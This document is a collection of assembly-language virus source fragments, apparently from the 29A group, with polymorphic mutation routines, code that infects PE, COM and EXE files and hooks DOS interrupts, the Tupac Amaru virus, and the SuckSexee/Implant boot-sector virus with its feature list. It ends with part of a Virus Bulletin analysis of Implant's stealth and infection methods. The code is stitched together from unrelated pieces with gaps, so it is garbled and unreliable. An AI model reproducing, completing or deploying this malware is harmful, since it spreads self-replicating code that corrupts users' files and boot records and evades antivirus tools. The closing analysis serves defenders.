mov dl, ds:[bp+offset clef]
mov ax, bp
add ax, offset clef-2
inc ax
inc ax
xchg ax, bx
mov dl, [bx]
sub bx, bx
xor bx, offset clef
add bx, bp
mov dl, [bx]
mov bx, bp
add bx, offset clef
mov dh, [bx]
xchg dh, dl
mov bx, bp
mov ax, offset clef+1
add bx, ax
mov dl, [bx-1]
_mutation9:
lodsb
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lodsb
mov bx, si
mov al, [bx]
inc si
nop
inc si
mov al, es:[si-1]
nop
mov ax, 0
or al, [si]
inc si
xor ax, ax
add al, byte ptr [si]
inc si
nop
add si, 1
xchg byte ptr [si-1], al
;10/ XOR AL, DL in 10 bytes (without CX, SI, DI, DL, AL)
_mutation10:
xor al, dl
db 2 dup (90h)
xchg cx, bx
xchg cx, bx
nop
clc
db 8 dup (90h)
xor al, dl
xchg ax, bx
xor bl, dl
xchg ax, bx
db 5 dup (90h)
stc
db 2 dup (90h)
xor ax, dx
db 6 dup (90h)
clc
db 5 dup (90h)
xor ax, dx
db 2 dup (90h)
stc
db 2 dup (90h)
mov bx, dx
xor ax, bx
db 3 dup (90h)
;10bis/ add AL, DL in 10 bytes (without CX, SI, DI, DL, AL)
_mutation10bis:
db 3 dup (90h)
add al, dl
db 5 dup (90h)
db 4 dup (90h)
xchg al, dl
add dl, al
xchg al, dl
mov ah, al
mov dh, dl
db 2 dup (90h)
add ah, dh
xchg ah, al
neg dl
sub al, dl
neg dl
db 4 dup (90h)
db 2 dup (90h)
neg dx
nop
sub al, dl
nop
neg dx
_mutation10ter:
db 3 dup (90h)
rol al, 1
db 5 dup (90h)
db 7 dup (90h)
rol al, 1
nop
_mutation10quart:
db 4 dup (90h)
inc al
db 4 dup (90h)
db 8 dup (90h)
add al, 1
inc ax
db 9 dup (90h)
jmp baise_les
xor al, dl
add al, dl
rol al, 1
baise_les:
inc al
_mutation10quinte:
db 4 dup (90h)
not al
db 4 dup (90h)
db 4 dup (90h)
xchg al, dh
not dh
xchg al, dh
jmp baise_les2
xor al, dl
add al, dl
inc al
baise_les2:
not al
_mutation10sixte:
db 3 dup (90h)
neg al
db 5 dup (90h)
db 3 dup (90h)
mov dh, al
neg dh
mov al, dh
nop
jmp baise_les3
not al
xor al, dl
inc al
baise_les3:
neg al
_mutation11:
db 51h ;push cx
lea bx, [bp+offset mutation11+10]
db 53h ;push bx
db 0B1h, 02h ;mov cl, 2
db 0E2h, 0BDh ;loop baise_flag_cryptage
db 59h ;pop cx
nop
_mutation12:
nop
nop
dec cx
nop
nop
nop
nop
sub cx, 1
inc cx
sub cx, 2
nop
neg cx
inc cx
neg cx
xchg cx, bx
dec bx
xchg cx, bx
nop
nop
xchg cx, ax
dec ax
xchg cx, ax
xchg cx, di
dec di
xchg cx, di
xor bl, bl
sbb cx, 1
mov bx, 1
sub cx, bx
_mutation13:
cmp cx, 0
nop
nop
nop
nop
nop
nop
cmp cx, 0
nop
or cx, cx
nop
nop
nop
nop
nop
nop
or cx, cx
nop
or cl, cl
jne suite_or
or ch, ch
suite_or:
mov bx, cx
inc bx
cmp bx, 1
inc cx
cmp cx, 1
dec cx
nop
dec cx
cmp cx, 0FFFFh
inc cx
nop
_mutation14:
temp db 0
type_cryptage db 0
fin_cryptage:
clef db 0
endvirus:
heap:
code ends
end start
.model tiny
.code
org 0
pop ax ; Filesize in AX
sub ax,3 ; Calcul8 the new jmp
mov word ptr ds:[new_com_header+1],ax ; And write it
mov cx,dx ; CX = DX = 8
cwd ; Now set DX to 0
mov byte ptr ds:[si+37h],dl ; EXE flags = 0
mov word ptr ds:[si+38h],dx ; Kill gangload area
mov word ptr ds:[si+3ah],dx ; for compatibility
mul cx ; Multiply AX*CX
add di,IMAGE_SIZEOF_SECTION_HEADER
loop s_image_sect
jmp go_away
mov edx,eax
call lseek_middle
mov ah,3fh
mov cx,1000h
lea dx,old_exe_header
int 21h
pop edx
mov eax,ebp
dll_lewp: lodsb
cmp al,'a'
jb check_charct
sub al,('a'-'A')
check_charct: scasb
jne more_imd_imge
loop dll_lewp
pop edi
push es bx
mov ah,2fh
int 21h
pop bx es ebp
mov esi,dword ptr [di+ID_FirstThunk]
sub esi,edx
mov dword ptr ds:[thunk_offset],esi
push edx
mov edx,esi
call lseek_middle
mov ah,3fh
mov cx,1000h
lea dx,old_exe_header
mov si,dx
int 21h
pop edx
push esi
lea edi,gmhandle_n
call search_name
mov dword ptr ds:[gmhandle_rva],eax
pop esi
lea edi,gpaddress_n
call search_name
mov dword ptr ds:[gpaddress_rva],eax
jmp infect_pe
; Go to next imported module descriptor
cld
lodsd
mov eax,IMAGE_SIZEOF_SECTION_HEADER
movzx ecx,word ptr ds:[esi+FH_NumberOfSections]
dec ecx
mul ecx
push es bx
mov ah,2fh
int 21h
push eax
sub eax,dword ptr ds:[edi+SH_PointerToRawData]
add eax,dword ptr ds:[edi+SH_VirtualAddress]
add ax,offset espow32_start
mov dword ptr ds:[esi+OH_AddressOfEntryPoint],eax
add eax,dseta_offset
mov dword ptr ds:[base_address],eax
pop eax
add ax,espo_file_size
sub eax,dword ptr ds:[edi+SH_PointerToRawData]
push eax
add ax,(espo_mem_size-espo_file_size)
cmp eax,dword ptr ds:[edi+SH_VirtualSize]
jbe virtual_ok
add ax,(espo_mem_size-espo_file_size)
mov ecx,dword ptr ds:[esi+OH_FileAlignment]
cdq
div ecx
inc eax
mul ecx
mov dword ptr ds:[edi+SH_SizeOfRawData],eax
mov ah,40h
mov cx,1000h
mov dx,bp
int 21h
; And now finally lseek to the end of the
; file and append our code to the PE file
; we've just infected - we can go away
call lseek_end
mov ah,40h
mov cx,espo_file_size
lea dx,espo_start
int 21h
jmp go_away
search_name: push ds
pop es
lodsd
or eax,eax
jz inp_notfound
scasb
je namebyname
db '29A'
db 81h,0ebh
base_address dd offset first_entry-base_default+dseta_offset
; Now get the return address, ie, the
; original entry point of the PE file,
; in EAX and push it onto the stack
; for later use during our execution
db 0b8h
entry_rva dd offset exit_process-base_default
add eax,ebx
mov dword ptr [esp+20h],eax
db 0b8h
gmhandle_rva dd offset gmhandle_a-base_default
or eax,eax
jz get_kernel32
db 0b8h
gpaddress_rva dd offset gpaddress_a-base_default
or eax,eax
jz get_gpaddress
cld
mov ecx,(offset api_names_end-offset api_names)/4
lea esi,dword ptr [ebp+api_names]
lea edi,dword ptr [ebp+api_addresses]
find_more_api: lodsd
add eax,ebp
push ecx esi edi eax
push dword ptr [ebp+kernel32_a]
lea eax,dword ptr [ebp+gpaddress_a]
call dword ptr [eax]
cld
stosd
loop find_more_api
mov ecx,text_size
lea esi,dword ptr [ebp+text_start]
mov edi,esi
decrypt_text: lodsb
not al
stosb
loop decrypt_text
push 1000h
lea esi,dword ptr [ebp+virus_author]
lea edi,dword ptr [ebp+virus_text]
push esi edi 0
call eax
jmp jump_to_host
call open_map_file
or ebx,ebx
jz find_next
; First of all, check for its extension to
; be COM or EXE. I used a stupid waste of
; bytes here, but i was kinda drunk when i
; did it (check for a dot instead of the end
; of the ASCIIZ string), so i thought it was
; fun not to modify it... it works :)
cld
lea esi,dword ptr [ebp+finddata+WFD_szFileName]
find_dot: inc byte ptr [ebp+max_path_size]
cmp byte ptr [ebp+max_path_size],0ffh
je unmap_n_close
lodsb
cmp al,'.'
jne find_dot
; Is it a COM file?
dec esi
lodsd
cmp eax,'MOC.'
je check32_com
cmp eax,'EXE.'
jne unmap_n_close
push eax
add dword ptr [ebp+finddata+WFD_nFileSizeLow],\
espo_file_size
call open_map_file
or ebx,ebx
jz no_good
pop eax
push eax
mov ecx,10h
cdq
div ecx
sub ax,word ptr [ebx+MZ_cparhdr]
push ax
xchg word ptr [ebx+MZ_cs],ax
mov word ptr [ebp+exe_cs],ax
pop ax
push dx
xchg word ptr [ebx+MZ_ip],dx
mov word ptr [ebp+exe_ip],dx
pop dx
add edx,espo_file_size+320h
and dl,0feh
; Update SS
; Update SP
xchg word ptr [ebx+MZ_sp],dx
mov word ptr [ebp+exe_sp],dx
pop eax
add eax,espo_file_size
mov ecx,200h
cdq
div ecx
inc eax
mov word ptr [ebx+MZ_cblp],dx
mov word ptr [ebx+MZ_cp],ax
cld
mov ecx,espo_file_size
lea esi,dword ptr [ebp+espo_start]
mov edi,dword ptr [ebp+finddata+WFD_nFileSizeLow]
sub edi,ecx
add edi,ebx
rep movsb
jmp unmap_n_close
cld
mov ecx,5
push ecx
mov esi,ebx
lea edi,dword ptr [ebp+old_com_header]
rep movsb
; Calculate the jump to the COM and EXE
; entry point of the virus (once appended)
; and store it in the buffer of the new
; COM header ("0e9h,?,?,;)"). Then copy
; it to the first five bytes of the file
pop ecx
lea esi,dword ptr [ebp+new_com_header]
mov edi,ebx
mov eax,dword ptr [ebp+finddata+WFD_nFileSizeLow]
sub eax,espo_file_size
push eax
sub eax,3
mov word ptr [esi+1],ax
rep movsb
mov ecx,espo_file_size
lea esi,dword ptr [ebp+espo_start]
pop edi
add edi,ebx
rep movsb
jmp unmap_n_close
cmp eax,'EP'
jne unmap_n_close
test ax,IMAGE_FILE_DLL
jnz unmap_n_close
add edi,IMAGE_SIZEOF_SECTION_HEADER
loop s_img_section
jmp unmap_n_close
push eax
mov ecx,8
sub esi,edx
add esi,ebx
dll_loop: lodsb
cmp al,'a'
jb check_char
sub al,('a'-'A')
check_char: scasb
jne more_imd_img
loop dll_loop
pop edi
lea eax,dword ptr [edi+ID_ForwarderChain]
sub eax,ebx
add eax,edx
mov dword ptr [ebp+kernel32_rva],eax
pop esi
lea edi,dword ptr [ebp+gpaddress_n]
call look4name
mov dword ptr [ebp+gpaddress_rva],eax
cld
mov esi,dword ptr [ebx+MZ_lfanew]
add esi,ebx
lodsd
mov eax,IMAGE_SIZEOF_SECTION_HEADER
movzx ecx,word ptr [esi+FH_NumberOfSections]
dec ecx
mul ecx
add eax,dseta_offset
mov dword ptr [ebp+base_address],eax
add eax,(espo_mem_size-espo_file_size)
cmp eax,dword ptr [edi+SH_VirtualSize]
jbe virtsize_ok
add eax,(espo_mem_size-espo_file_size)
mov ecx,dword ptr [esi+OH_FileAlignment]
cdq
div ecx
inc eax
mul ecx
mov dword ptr [edi+SH_SizeOfRawData],eax
mov ecx,espo_file_size
lea esi,dword ptr [ebp+espo_start]
pop edi
add edi,ebx
rep movsb
no_good: jmp unmap_n_close
get_kernel32: db 0beh
kernel32_rva dd ?
add esi,ebx
lodsd
get_gpaddress: cld
push ebx
mov ebx,dword ptr [ebp+kernel32_a]
cmp word ptr [ebx],'ZM'
jne gpa_aborted
cmp eax,'EP'
jne gpa_aborted
add esi,NT_OptionalHeader\
.OH_DirectoryEntries\
.DE_Export\
.DD_VirtualAddress-4
lodsd
add eax,ebx
push eax
pop eax
jmp gpa_aborted
open_map_file: push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push 0
push GENERIC_READ or GENERIC_WRITE
lea eax,dword ptr [ebp+finddata+WFD_szFileName]
push eax
lea eax,dword ptr [ebp+createfile_a]
call dword ptr [eax]
or eax,eax
jz exit_mapping
look4name: lodsd
or eax,eax
jz inp_not_found
scasb
je name_by_name
kernel32_n db 'KERNEL32.DLL',0
user32_n db 'USER32.DLL',0
gmhandle_n db 'GetModuleHandleA',0
gpaddress_n db 'GetProcAddress',0
messagebox_n db 'MessageBoxA',0
createfile_n db 'CreateFileA',0
cfmapping_n db 'CreateFileMappingA',0
mapview_n db 'MapViewOfFile',0
unmapview_n db 'UnmapViewOfFile',0
closehandle_n db 'CloseHandle',0
findfirst_n db 'FindFirstFileA',0
findnext_n db 'FindNextFileA',0
findclose_n db 'FindClose',0
loadlibrary_n db 'LoadLibraryA',0
glocaltime_n db 'GetLocalTime',0
file_flag db 'C'
inf_timer db ?
inf_counter db ?
exe_cs dw 0fff0h
exe_ip dw ?
exe_ss dw ?
exe_sp dw ?
new_com_header db 0e9h,?,?,';',')'
old_com_header db 0cdh,20h,90h,90h,90h
wildcard db '*.*',0
com_wildcard db '*.COM',0
exe_wildcard db '*.EXE',0
include win32api.inc
include pe.inc
include mz.inc
kernel32_a dd ?
user32_a dd ?
gmhandle_a dd ?
gpaddress_a dd ?
crfhandle dd ?
maphandle dd ?
srchandle dd ?
max_path_size db ?
finddata db SIZEOF_WIN32_FIND_DATA dup (?)
file_or_mem db 'F'
file_offset dw ?
dot_xy dw ?
rawdata_ptr dd ?
thunk_offset dd ?
filename db 4ch dup (?)
.286
kodigo segment 'code'
assume cs:kodigo,ds:kodigo,es:kodigo
org 00h
Tupac_amaru:
call delta
delta: mov si,sp ; We take the delta-offset
mov bp,word ptr [si]
sub bp,3
backtrace:
mov byte ptr cs:[installing_on+bp],0
mov ax,3521h
int 21h
mov word ptr [int21h+bp],bx
mov word ptr [int21h+2+bp],es
mov dx,bx
push es
pop ds
mov ax,25a9h
int 21h
push cs
pop ds
cli
pushf ; Now we set trap flag to 1
pop ax
or ah,1h
push ax
popf
offset_jmp: dw 0
hay_salto: db 0 ; 1.- Interrupt 21h
; 2,3.- Jump
salto: db 090h,0e9h
lugarsalto: db 00h,00h ; Jump to virus code
buffer: db 53h,53h,0cdh,20h ; Buffer with host bytes
virus_name: db ' The Tupac Amaru virus, dedicated to all the people of '
db 'the MRTA who were killed by Fujimori''s troops after '
db 'surrendering at the japanese embassy on Lima, to all '
db 'the people killed and tortured in his government, and '
db 'finally to all those who work for democracy and for a '
db 'better world.',0
_Winter_: db 'Wintermute/29A',0
; ***************************************************************************
; RESIDENCE ROUTINE ZONE
; ***************************************************************************
;
; You should read this next backwards ;)
db 0c3h
db 0a5h
db 0a5h
db 057h
db 01h,00h,0bfh
db 01h,00h,offset buffer+1,0aeh,080h
db offset buffer
db 076h,08dh
db 01fh
db 07h
db 0eh,0eh
db tupac_parag
db 00h,03h,02eh,083h,026h
jjmp6: db 0-((offset jjmp6)-(offset jmp1)),072h
db tupac_parag
db 00h,03h,03eh,080h,026h
; Some checks
jmp4:
jjmp5: db 0-((offset jjmp5)-(offset jmp1)),075h
db 00h,01h,016h,039h,026h
jjmp4: db 0ffh-((offset jjmp4)-(offset jmp4))+1,074h
db 00h,00h,01h,03eh,083h,026h
db 0dah,08ch
jmp2:
db ((offset jmp3)-(offset jmp2)),0ebh
db 0c7h,08eh
db 047h
db 00h,03h,03eh,03h,026h
jjmp2: db 0h-((offset jjmp2)-(offset jmp2)),074h
db 05ah,00h,00h,03eh,080h,026h
jmp3:
; Mcb Loop: Search for Mcb Z
db 0c7h,08eh
db 0eh,07fh,08bh,026h
db 0c0h,08eh
db 048h
db 0c0h,08ch
db 090h
db 052h,0b4h
; Installation check
end_or_init:
nop ; The 'nop' is the signal for the
;virus to start executing backwards
cli ; We don't want TbClean here, do we ?
neg sp
neg sp
sti
call push_em_all
dec si
lodsb
cmp al,90h ; Nop will tell us when does the
jnz continua ;executing start; installing_on is
mov byte ptr cs:[installing_on+bp],1 ;a flag that tells
;we have to backtrace
continua:
cmp byte ptr cs:[installing_on+bp],0
jnz @adelante
jmp vamonos
@adelante:
xor dx,dx
mov dl,byte ptr cs:[instanterior+bp]
inc dl
sub si,dx ; So, DS:SI now points to the opcode
;that will be the start of the next
;backwards instruction
xor cx,cx
push si cx ds cs ; Table
pop ds
lea si,inittable1+bp
mov cx,57d
@buscaopcode:
lodsb ; Searches opcode in table
cmp ah,al
jz @encontrado
loop @buscaopcode
@encontrado:
push cx ; Searches where to jump
lea si,inittable2+bp
mov cx,114d
pop dx
sub cx,dx
sub cx,dx
add si,cx
lodsw
add ax,bp
pop ds cx si
jmp ax
inittable1:
db 03h,07h,0eh,01fh,026h,03dh,047h,048h,057h,074h,080h
db 08bh,08ch,08dh,08eh,0c3h,0cdh,0a5h,0b4h,0b8h,0bfh
db 0ebh,090h,083h,039h,075h,072h,031h,089h,0b9h,049h
db 06h,0bah,0a4h,0f8h,087h,06h,053h,0b4h,050h,058h
db 05ah,08eh,03ch,0ach,046h,051h,052h,059h,0a0h,02h
db 099h,02dh,0a3h,040h,0feh,073h
;;;;;;;;;;;;;;;;;
inittable2:
@prefijo:
inc cx
dec si
dec si
lodsb
inc si
jmp @dsescsss
@makeint:
mov byte ptr cs:[hay_salto+bp],1
jmp @bytes1
@finished_go:
mov ds,word ptr [int1h+2+bp]
mov dx,word ptr cs:[int1h+bp]
mov ax,2501h
int 21h
and byte ptr ss:[di+25d],0feh
mov word ptr ss:[di+20d],0100h
call pop_em_all
iret
@end_infect:
mov ds,word ptr cs:[int1h+2]
mov dx,word ptr cs:[int1h]
mov ax,2501h
int 21h
and byte ptr ss:[di+25d],0feh
mov word ptr ss:[di+20d],offset @@realend
call pop_em_all
iret
@@realend:
call pop_em_all
mov bp,word ptr cs:[bp_site]
jmp int21jump
@jjnb:
and bl,00000001b ; Conditional jnb jump check
jnz @bytes2
jmp @jmp2aplace
@jjb:
and bl,00000001b ; Conditional jb jump check
jz @bytes2
jmp @jmp2aplace
@jjnz:
and bl,01000000b ; Conditional jnz jump check
jnz @bytes2
jmp @jmp2aplace
@jjz:
and bl,01000000b ; Are we going to make the jump jz ?
jz @bytes2 ; If zero flag isn't on, we take it
;as a normal 2 bytes instruction
@jmp2aplace:
mov byte ptr cs:[hay_salto+bp],3
; To interpret well next instruction
mov bx,si ; And we put the instruction offset
;at [offsetjmp] to recode it on the
;next pass
dec bx
dec bx
mov word ptr cs:[offset_jmp+bp],bx
jmp @bytes2 ; Nothing to do now... let's leave
;the jump execute and then we'll
;do things ;)
@bytes5: inc cx
@bytes4: inc cx
@bytes3: inc cx
@bytes2: inc cx ; Cx has instruction lenght
@bytes1: inc cx
mov dl,cl
mov cx,di
sub si,cx
mov di,si
push ds
pop es
xor bx,bx
mov bl,cl
add si,bx
mov cl,dh
mov cl,dh
sub si,cx
mov di,si
@sec_store: pop ax ; So we store backwards
stosb
loop @sec_store
vamonos:
cmp byte ptr cs:[hay_salto+bp],3 ; Ok, this was the inst
jnz vamos_ya ;just before the jump,
dec byte ptr cs:[hay_salto+bp] ;so it will be the next
;executing
vamos_ya:
call pop_em_all
pushf
@return:
popf
; Pop registers and go
iret
;***************************************************************************
; FILE INFECTION
;***************************************************************************
db 090h
db 01fh,05ah,058h
; Restore int24h
@jmp3:
db 90h
db 03eh,0b4h
db 90h
db 40h
db 058h
db 05ah
db 059h
@close:
db 90h
db 00,offset salto,0bah
db 00h,04h,0b9h
db 040h,0b4h
db 090h
db 099h
db 0c9h,031h
db 042h,00h,0b8h
; Now to the init
db 90h
db tupac_ff
db tupac_size-(tupac_ff*100h)
db 0b9h
db 0d2h,031h
db 040h,0b4h
db 00h,offset lugarsalto,0a3h
db 00h,04h,02dh
db 90h
db 099h
db 0c9h,031h
db 042h,02h,0b8h
db 00h,offset buffer+1,06h,0feh
@jjmp4: db 0-((offset @jjmp4)-(offset @close))
db 074h
db 0a7h,3ch
db 00h,offset buffer+1,06h,02h
db 90h
db 00,offset buffer,0bah
db 00h,04h,0b9h
db 03fh,0b4h
db 01fh
db 0eh
db 051h
db 052h
db 090h
db 050h
db 057h,00h,0b8h
db 0c3h,087h
db 090h
db 03dh,02h,0b8h
db 0f2h,089h
db 0d9h,08eh
db 090h
db place_ff24
db place_21-(place_ff24*100h)
db 0bah
db 01fh
db 0eh
db 050h
db 025h,0b4h
db 06h
db 053h
db 090h
db 035h,024h,0b8h
db 0d9h,08ch
db 0f2h,087h
;**********************************
; INT 21H HANDLER
;**********************************
i_check:
iret
infect:
mov word ptr cs:[bp_site],bp
xor bp,bp
call push_em_all
mov byte ptr cs:[installing_on],0
init_1:
push ds dx
push cs
pop ds
mov ax,3501h ; Get int1h
int 21h
mov word ptr [int1h+2],es
mov word ptr [int1h],bx
push cs
pop es
lea dx,back_zone ; Redirect it to the zone that's
mov ax,2501h ;going to control backwards execution
int 21h
cli
pushf ; Trap flag = 1
pop ax
or ah,1h
push ax
popf
pop dx ds
@continue:
jmp start_infecting
int1h: dw 0,0
bp_site: dw 0
int21jump: db 0eah
int21h: dw 0,0
nop
kodigo ends
end tupac_amaru
;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; ³ SuckSexee Automated Intruder ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ³ Viral Implant Bio-Coded by GriYo/29A ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; Disclaimer:
; ÄÄÄÄÄÄÄÄÄÄÄ
; The author is not responsable of any problems caused due
; to assembly of this file.
;
; Virus description:
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; o Residency:
;
; The virus only goes resident when booting from an infected
; hard drive or floppy disk.
; While infecting files the virus uses UMB memory if
; available.
;
; o Infection:
;
; 1) Hard drive master-boot-record
;
; The virus infects the HD MBR using direct port access
; bypassing some TSR watchdogs and BIOS virus-protection
; features.
;
; 2) Floppy boot sector
;
; SuckSexee formats an extra track on floppy and saves there
; the original BS (for stealth) and its main body.
;
; 3) Files (.COM .EXE and .SYS)
;
; The virus uses low level system file table.
; Files are infected on close, get/set attribute, rename,
; move or upon termination.
;
; o Stealth:
;
; This virus is full-stealth, so the system seems to be clean
; while infected.
;
; 1) Sector level
;
; Attempts to read the HD MBR or floppy boot sector will result
; in a clean copy being returned.
; Attempts to read the sectors were the virus resides will not
; be permitted.
;
; 2) File level
;
; Attempts to read an infected file will result in a clean
; copy being returned, as the virus disinfects files on the
; fly, including if a debugging tool is used to edit the file.
;
; 3) Others...
;
; Directory, search and date/time stealth also supported
; Whenever win.com is executed, the virus adds some
; parameters to avoid problems with Windows 32bit disk access.
;
; o Armoured:
;
; Attempts to write to the HD MBR or the sectors on which the virus
; resides will not be permitted, but no error were returned
; SuckSexee uses extended DOS partition trick, so infected
; computers will not be able to boot from floppy.
;
; o Polymorphism:
;
; SuckSexee is encrypted under two encryption layers utilising a
; polymorphic engine to generate first decryptor algorithm.
; Generated polymorphic decryptor contains several conditional and
; unconditional jumps as well as calls to subroutines and
; interrupts.
; The virus is polymorphic in all its infections.
; This means that SuckSexee is polymorphic on hard drive MBR,
; floppy boot sectors, .COM files, .EXE files and
; also .SYS files.
; While infecting floppy boot sectors the virus reads the
; decryptor at MBR infection and uses it for each floppy.
; While infecting files the virus will use the same decryptor
; for each infected file.
; If the system is rebooted a new mutation will be used
; to infect files.
; SuckSexee uses a timer to avoid multiple mutations in a
; short period of time.
;
; o Retro:
;
; Polymorphic engine uses slow mutation technics (see note above).
; The virus avoids some self-check executables being infected.
; SuckSexee waits over 10 min. before it starts infecting files.
; The virus does not infect files that have V character or
; digit(s) in their names.
; Command line parameters force TbScan to use compatibility
; mode (so files can be stealthed and infected while
; scanning) and skip memory scanning.
; The virus encrypts the original MBR for a difficult recovery.
;
;
; Virus Bulletin speaks
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Thanks to mgl for the typing :)
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
; VIRUS BULLETIN MAY 1997
;
; Silicon Implants
;
; Igor Muttik
; Dr Solomon's Software Ltd
;
;
; In February this Year, I received some flies which had been
; downloaded from an Internet virus exchange site and
; forwarded to us for analysis. 'Ah, the usual rubbish...', I
; thought; for it is rare to get new (let alone interesting!)
; viruses from such sources - if a file is not already identified
; as containing a known virus, it is usually either a corrupted
; virus, or not a virus at all. It looked as though this would
; again be the case, but then, amongst these files, I came
; across a new virus - Implant.6128.
;
; Implant is unusual in many aspects - it has full stealth, and
; is both polymorphic and multi-partite. Stranger still, it works
; reliably - I have never seen a virus so complex and yet so
; stable. After all, it is both well known and intuitively obvious
; that as software gets more complex, it has more bugs.
;
; In my opinion, this explains perfectly why primitive computer
; viruses (most boot sector and macro infectors) are the most
; common in the wild. Sophisticated viruses have more bugs,
; and thus have a smaller chance of surviving unnoticed in the
; field. Implant is a rare exception to this general rule.
;
; Returning to the virus' specifics, it is extremely polymorphic.
; The complexity of its decryptor by far exceeds that of
; many other famous polymorphic viruses. It is also extremely
; multi-partite, infecting COM, EXE and SYS files as well as
; the hard disk MBR and floppy boot sectors.
;
; Finally, Implant makes it impossible to boot the computer
; from a clean DOS system diskette: it does this using the
; circular extended partition technique, first seen implemented
; in Rainbow [see VB, September- 1995, P. 12].
;
;
; Initial Infection
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; When an infected file is run, or the infected floppy is left in
; the A: drive at boot time, the virus takes control in the
; traditional manner. After it decrypts itself, it checks the
; processor type: if the computer is 8088- or 80286-based (i.e.
; is an XT or an AT). Implant immediately infects another
; file. However, if the machine is an 80386 or above, the virus
; issues its 'Are you there?' call - Int 12h, CX=029Ah, SI=OBADH,
; DI=FACEh.
;
; If, on return from the call, the SI and DI registers are set to
; DEADH and BABEH respectively (I wonder how many other
; words can be squeezed into 16 bits?) the virus assumes it is
; already active and proceeds to infect a file. Otherwise (if it
; is not already resident), it creates an array of 1024 random
; bytes (which will later be used by the virus' polymorphic
; engine) and passes control to the hard disk infection routine.
; This routine copies the MBR to sector 3 on track 0, and then
; finds the active partition record in the partition table,
; checking whether it is a 16-bit FAT DOS system (that is, the
; type field is set to 4 or 6).
;
; If so, Implant removes the active flag, sets the partition type
; to 5 (Extended DOS partition) and makes the pointer to its
; first sector point to the MBR (creating a so-called 'circular
; extended partition').
;
; Then the virus analyses the code in the MBR: it follows the
; jump chain (if present), and puts its code at the destination
; of the final jump - the virus code is such that it needs to
; leave only 35 bytes in the MBR! Implant next writes the
; MBR back to disk by direct manipulation of I/0 ports (this
; will make it compatible with IDE and MFM drives, but
; not SCSI).
;
; After the write attempt, the virus rereads the MBR and
; checks whether the checksum of what was read matches
; what was written. If not, the virus gives up, and passes
; control to the host program.
;
; Then the virus writes its body into 12 sectors on track 0
; starting at sector 4, right after the saved MBR. Implant does
; not forget to check whether there is sufficient space on
; track 0 - if there are fewer than 13 sectors before the start of
; an active partition, the virus will not infect the hard drive.
; nor modify anything on track 0.
;
; Implant does not recognize itself in the MBR. It just checks
; whether a resident copy is already present using its 'Are you
; there?' call. If it is not in memory, it loads the MBR and
; scans for an active partition. An already-infected MBR will
; not have this, so the infection will fail at this point - there is
; no risk of multiple infection.
;
; There are two main branches in the virus code. If the virus is
; run from a file (COM, EXE or SYS), control transfers to the
; host and nothing is left resident in memory. If, however, the
; virus is run from a boot sector (either that of a floppy or the
; hard disk's MBR), it seizes 7KB of DOS memory (by the
; familiar technique of reducing the word at memory offset
; [0:413h]), copies itself to the newly-created hole in memory
; just beneath the top of conventional memory, and intercepts
; some system interrupts.
;
; The method by which the virus infects the hard drive means
; that an MS-DOS system floppy cannot be used to clean-boot
; an Implant-infected PC. The circular extended partition will
; make MS-DOS v5 onwards, Novell DOS 7, and DR-DOS 6
; hang. Fortunately, it is still possible to use versions 3.30 or
; 4.0 of MS-DOS, or PC-DOS 5 and 6, which will boot
; without problem. After booting, however, drive C will still,
; of course, be inaccessible: attempts to access this drive will
; result in the error 'Invalid drive specification'.
;
;
; Booting the Infected System
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; When booting, the virus hooks interrupts 12h (self-recogni-
; tion and stealth), 13h (disk I/0: for stealth and to infect
; floppies), and 1Ch (timer; to intercept DOS interrupts later
; on). All three are used to intercept Int 21 h: the virus can do
; this in three ways:
;
; - thirty seconds after the computer is booted (checked
; using Int 1Ch)
;
; - when an infected program is run: when such a proaram
; issues the 'Are you there?' Int 12h call (see above) the
; resident copy of a virus will immediately hook Int 21h
;
; - when a program attempts to write to disk using Int 13h
;
; The virus has specific knowledge of some versions of DOS.
; and tries to get the real DOS entry point by following the
; jumps and doing some checks. If an attempt to get the real
; entry point fails, the virus simply uses the one taken from
; the Interrupt Vector Table.
;
; When the virus has hooked Int 21h, it monitors the following
; DOS functions: 2Ah (Get date; used in a payload), 4B00h
; (Exec), 3Eh (Close), 43h (Attribute), 56h (Rename/Move),
; 4Ch (Terminate), 3Dh (Open), 6Ch (Open/Create). 11h/12h
; (Findfirst/Findnext FCB), 4Eh/4Fh (Findfirst/Findnext), 3Fh
; (Read), 4B01h (Load), 40h (Write), 5700h (Get timestamp),
; 5701h (Set timestamp). These functions are used to infect
; files and conceal infection (full stealth).
;
; During infection, the virus also intercepts Int 24h (Critical
; error handler) to suppress error messaaes.
;
;
; Infection of Files
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; The virus infects files as they are run or opened. However, if
; any infected files are copied to diskette, the files on the
; diskette will be clean (despite the fact that the diskette's
; boot sector is infected) - Implant is 'full stealth'. Running
; the file from the floppy does not infect it either. How, then.
; are infected files passed between users?
;
; The first thing the virus checks when any program calls any
; monitored DOS function is the program's name, paying
; special attention to files named AR*.*, PK*.*. LH*.*, and
; BA*.* (archiving utilities, specifically, ARJ, PKZIP, LHA
; and BACKUP). This information is used to turn off stealth
; mode when any of these archivers is executed. Thus, the
; virus ensures all executable files are packed into archives
; and backups are infected, whether on floppy or hard disk.
;
; Further, it will not infect files called TB*.*, SC*.*, F-*.*,
; GU*.*, nor those containing the letters V, MO, IO, DO, IB
